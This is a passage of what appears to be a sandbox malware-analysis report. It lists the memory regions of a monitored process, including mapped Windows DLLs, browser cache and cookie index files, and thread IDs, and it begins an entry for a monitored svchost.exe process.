end_va = 0x7fefad33fff entry_point = 0x7fefad30000 region_type = mapped_file name = "api-ms-win-crt-runtime-l1-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-crt-runtime-l1-1-0.dll") Region: id = 1766 start_va = 0x7fefad40000 end_va = 0x7fefad55fff entry_point = 0x7fefad40000 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Windows\\System32\\vcruntime140.dll" (normalized: "c:\\windows\\system32\\vcruntime140.dll") Region: id = 1767 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 1768 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 1769 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 1770 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 1771 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 1772 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 1773 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 1774 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 1775 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 1776 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 1777 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 1778 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 1779 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 1780 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 1781 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 1782 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 1839 start_va = 0x2d0000 end_va = 0x2d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002d0000" filename = "" Region: id = 1840 start_va = 0x2e0000 end_va = 0x2e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002e0000" filename = "" Region: id = 1841 start_va = 0x2f0000 end_va = 0x2f1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002f0000" filename = "" Region: id = 1842 start_va = 0x1c60000 end_va = 0x1f2efff entry_point = 0x1c60000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1843 start_va = 0x1f30000 end_va = 0x2322fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001f30000" filename = "" Region: id = 1844 start_va = 0x37c80000 end_va = 0x37c8ffff entry_point = 0x0 region_type = private name = "private_0x0000000037c80000" filename = "" Region: id = 1846 start_va = 0x7febdd50000 end_va = 0x7febdd5ffff entry_point = 0x0 region_type = private name = "private_0x000007febdd50000" filename = "" Region: id = 1964 start_va = 0x300000 end_va = 0x300fff entry_point = 0x0 region_type = private name = "private_0x0000000000300000" filename = "" Region: id = 1965 start_va = 0x310000 end_va = 0x310fff entry_point = 0x0 region_type = private name = "private_0x0000000000310000" filename = "" Region: id = 1966 start_va = 0x7fefa750000 end_va = 0x7fefaa65fff entry_point = 0x7fefa750000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 1967 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 1987 start_va = 0x320000 end_va = 0x41ffff entry_point = 0x0 region_type = private name = "private_0x0000000000320000" filename = "" Region: id = 1988 start_va = 0x420000 end_va = 0x420fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 1989 start_va = 0x2330000 end_va = 0x240efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002330000" filename = "" Region: id = 1990 start_va = 0x2410000 end_va = 0x250ffff entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 1991 start_va = 0x2510000 end_va = 0x258ffff entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 1992 start_va = 0x2590000 end_va = 0x2590fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002590000" filename = "" Region: id = 1993 start_va = 0x25e0000 end_va = 0x26dffff entry_point = 0x0 region_type = private name = "private_0x00000000025e0000" filename = "" Region: id = 1994 start_va = 0x2750000 end_va = 0x275ffff entry_point = 0x0 region_type = private name = "private_0x0000000002750000" filename = "" Region: id = 1995 start_va = 0x2760000 end_va = 0x285ffff entry_point = 0x0 region_type = private name = "private_0x0000000002760000" filename = "" Region: id = 1996 start_va = 0x2870000 end_va = 0x296ffff entry_point = 0x0 region_type = private name = "private_0x0000000002870000" filename = "" Region: id = 1997 start_va = 0x29c0000 end_va = 0x2abffff entry_point = 0x0 region_type = private name = "private_0x00000000029c0000" filename = "" Region: id = 1998 start_va = 0x2bc0000 end_va = 0x2cbffff entry_point = 0x0 region_type = private name = "private_0x0000000002bc0000" filename = "" Region: id = 1999 start_va = 0x2d10000 end_va = 0x2e0ffff entry_point = 0x0 region_type = private name = "private_0x0000000002d10000" filename = "" Region: id = 2000 start_va = 0x7fee7620000 end_va = 0x7fee76bffff entry_point = 0x7fee7620000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_a4d6a923711520a9\\comctl32.dll") Region: id = 2001 start_va = 0x7fef5ff0000 end_va = 0x7fef6063fff entry_point = 0x7fef5ff0000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 2002 start_va = 0x7fefa530000 end_va = 0x7fefa74cfff entry_point = 0x7fefa530000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\OFFICE16\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\office16\\cultures\\office.odf") Region: id = 2003 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2004 start_va = 0x7fefc080000 end_va = 0x7fefc097fff entry_point = 0x7fefc080000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 2005 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 2006 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2007 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2008 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 2009 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 2010 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 2011 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 2012 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 2013 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 2014 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 2015 start_va = 0x2b90000 end_va = 0x2b9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002b90000" filename = "" Region: id = 2016 start_va = 0x2ef0000 end_va = 0x2feffff entry_point = 0x0 region_type = private name = "private_0x0000000002ef0000" filename = "" Region: id = 2017 start_va = 0x3010000 end_va = 0x310ffff entry_point = 0x0 region_type = private name = "private_0x0000000003010000" filename = "" Region: id = 2018 start_va = 0x32d0000 end_va = 0x33cffff entry_point = 0x0 region_type = private name = "private_0x00000000032d0000" filename = "" Region: id = 2019 start_va = 0x77e10000 end_va = 0x77e12fff entry_point = 0x77e10000 region_type = mapped_file name = "normaliz.dll" filename = "\\Windows\\System32\\normaliz.dll" (normalized: "c:\\windows\\system32\\normaliz.dll") Region: id = 2020 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 2021 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 2022 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 2023 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 2024 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 2025 start_va = 0x7fefee80000 end_va = 0x7feff0d8fff entry_point = 0x7fefee80000 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2026 start_va = 0x7feff6e0000 end_va = 0x7feff857fff entry_point = 0x7feff6e0000 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 2027 start_va = 0x7feff870000 end_va = 0x7feff999fff entry_point = 0x7feff870000 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 2028 start_va = 0x7fffffaa000 end_va = 0x7fffffabfff entry_point = 0x0 region_type = private name = "private_0x000007fffffaa000" filename = "" Region: id = 2029 start_va = 0x7fffffac000 end_va = 0x7fffffadfff entry_point = 0x0 region_type = private name = "private_0x000007fffffac000" filename = "" Region: id = 2030 start_va = 0x7fffffae000 end_va = 0x7fffffaffff entry_point = 0x0 region_type = private name = "private_0x000007fffffae000" filename = "" Region: id = 2162 start_va = 0x25a0000 end_va = 0x25a0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025a0000" filename = "" Region: id = 2163 start_va = 0x25b0000 end_va = 0x25b1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025b0000" filename = "" Region: id = 2164 start_va = 0x25d0000 end_va = 0x25d1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000025d0000" filename = "" Region: id = 2165 start_va = 0x2ac0000 end_va = 0x2b7ffff entry_point = 0x2ac0000 region_type = mapped_file name = "kernelbase.dll.mui" filename = "\\Windows\\System32\\en-US\\KernelBase.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\kernelbase.dll.mui") Region: id = 2166 start_va = 0x3190000 end_va = 0x328ffff entry_point = 0x0 region_type = private name = "private_0x0000000003190000" filename = "" Region: id = 2167 start_va = 0x33d0000 end_va = 0x3712fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000033d0000" filename = "" Region: id = 2168 start_va = 0x3820000 end_va = 0x391ffff entry_point = 0x0 region_type = private name = "private_0x0000000003820000" filename = "" Region: id = 2169 start_va = 0x7fef59c0000 end_va = 0x7fef59cbfff entry_point = 0x7fef59c0000 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 2170 start_va = 0x7fef7190000 end_va = 0x7fef71f3fff entry_point = 0x7fef7190000 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 2171 start_va = 0x7fef7200000 end_va = 0x7fef7270fff entry_point = 0x7fef7200000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2172 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2173 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2174 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2175 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2176 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 2177 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 2178 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 2179 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 2180 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 2181 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 2182 start_va = 0x7fffffa6000 end_va = 0x7fffffa7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa6000" filename = "" Region: id = 2183 start_va = 0x7fffffa8000 end_va = 0x7fffffa9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa8000" filename = "" Region: id = 2413 start_va = 0x25c0000 end_va = 0x25cbfff entry_point = 0x25c0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat") Region: id = 2414 start_va = 0x26e0000 end_va = 0x26e7fff entry_point = 0x26e0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\cookies\\index.dat") Region: id = 2415 start_va = 0x26f0000 end_va = 0x26fffff entry_point = 0x26f0000 region_type = mapped_file name = "index.dat" filename = "\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat") Region: id = 2416 start_va = 0x2700000 end_va = 0x2700fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002700000" filename = "" Region: id = 2417 start_va = 0x2710000 end_va = 0x2711fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002710000" filename = "" Region: id = 2418 start_va = 0x29b0000 end_va = 0x29bffff entry_point = 0x0 region_type = private name = "private_0x00000000029b0000" filename = "" Region: id = 2419 start_va = 0x2e20000 end_va = 0x2e9ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e20000" filename = "" Region: id = 2420 start_va = 0x3760000 end_va = 0x37dffff entry_point = 0x0 region_type = private name = "private_0x0000000003760000" filename = "" Region: id = 2421 start_va = 0x3a50000 end_va = 0x3b4ffff entry_point = 0x0 region_type = private name = "private_0x0000000003a50000" filename = "" Region: id = 2422 start_va = 0x3c20000 end_va = 0x3d1ffff entry_point = 0x0 region_type = private name = "private_0x0000000003c20000" filename = "" Region: id = 2423 start_va = 0x3d60000 end_va = 0x3e5ffff entry_point = 0x0 region_type = private name = "private_0x0000000003d60000" filename = "" Region: id = 2424 start_va = 0x3eb0000 end_va = 0x3faffff entry_point = 0x0 region_type = private name = "private_0x0000000003eb0000" filename = "" Region: id = 2425 start_va = 0x3fb0000 end_va = 0x41affff entry_point = 0x0 region_type = private name = "private_0x0000000003fb0000" filename = "" Region: id = 2426 start_va = 0x42b0000 end_va = 0x43affff entry_point = 0x0 region_type = private name = "private_0x00000000042b0000" filename = "" Region: id = 2427 start_va = 0x43b0000 end_va = 0x47affff entry_point = 0x0 region_type = private name = "private_0x00000000043b0000" filename = "" Region: id = 2428 start_va = 0x7fef4d40000 end_va = 0x7fef4d5bfff entry_point = 0x7fef4d40000 region_type = mapped_file name = "rasman.dll" filename = "\\Windows\\System32\\rasman.dll" (normalized: "c:\\windows\\system32\\rasman.dll") Region: id = 2429 start_va = 0x7fef4d60000 end_va = 0x7fef4dc1fff entry_point = 0x7fef4d60000 region_type = mapped_file name = "rasapi32.dll" filename = "\\Windows\\System32\\rasapi32.dll" (normalized: "c:\\windows\\system32\\rasapi32.dll") Region: id = 2430 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 2431 start_va = 0x7fef93b0000 end_va = 0x7fef93b8fff entry_point = 0x7fef93b0000 region_type = mapped_file name = "sensapi.dll" filename = "\\Windows\\System32\\SensApi.dll" (normalized: "c:\\windows\\system32\\sensapi.dll") Region: id = 2432 start_va = 0x7fef96b0000 end_va = 0x7fef9702fff entry_point = 0x7fef96b0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2433 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2434 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 2435 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 2436 start_va = 0x7fefd0c0000 end_va = 0x7fefd10bfff entry_point = 0x7fefd0c0000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 2437 start_va = 0x7fefd210000 end_va = 0x7fefd266fff entry_point = 0x7fefd210000 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 2438 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 2439 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 2440 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 2441 start_va = 0x7fefd5f0000 end_va = 0x7fefd611fff entry_point = 0x7fefd5f0000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 2442 start_va = 0x7fefd620000 end_va = 0x7fefd66dfff entry_point = 0x7fefd620000 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 2443 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 2444 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 2445 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff9e000" filename = "" Region: id = 2446 start_va = 0x7fffffa0000 end_va = 0x7fffffa1fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa0000" filename = "" Region: id = 2447 start_va = 0x7fffffa2000 end_va = 0x7fffffa3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa2000" filename = "" Region: id = 2448 start_va = 0x7fffffa4000 end_va = 0x7fffffa5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffa4000" filename = "" Region: id = 2485 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 2486 start_va = 0x7fefcb80000 end_va = 0x7fefcbabfff entry_point = 0x7fefcb80000 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 2487 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 2488 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Thread: id = 150 os_tid = 0x9f4 Thread: id = 151 os_tid = 0x9f8 Thread: id = 154 os_tid = 0xa28 Thread: id = 155 os_tid = 0xa24 Thread: id = 157 os_tid = 0xa3c Thread: id = 159 os_tid = 0xa78 Thread: id = 160 os_tid = 0xa30 Thread: id = 163 os_tid = 0x8a4 Thread: id = 164 os_tid = 0x5a8 Thread: id = 184 os_tid = 0x5c0 Thread: id = 185 os_tid = 0x7f4 Thread: id = 188 os_tid = 0x4fc Thread: id = 190 os_tid = 0x660 Thread: id = 192 os_tid = 0x1c4 Thread: id = 237 os_tid = 0x3f8 Thread: id = 238 os_tid = 0x3c4 Process: id = "15" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x7c6f000" os_pid = "0x11c" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "14" os_parent_pid = "0x9c0" cmd_line = "C:\\Windows\\system32\\svchost.exe -k LocalService" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\Local Service" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\EventSystem" [0xe], "NT SERVICE\\fdPHost" [0xa], "NT SERVICE\\lltdsvc" [0xa], "NT SERVICE\\netprofm" [0xa], "NT SERVICE\\nsi" [0xa], "NT SERVICE\\sppuinotify" [0xa], "NT SERVICE\\SstpSvc" [0xa], "NT SERVICE\\THREADORDER" [0xa], "NT SERVICE\\W32Time" [0xa], "NT SERVICE\\WdiServiceHost" [0xa], "NT 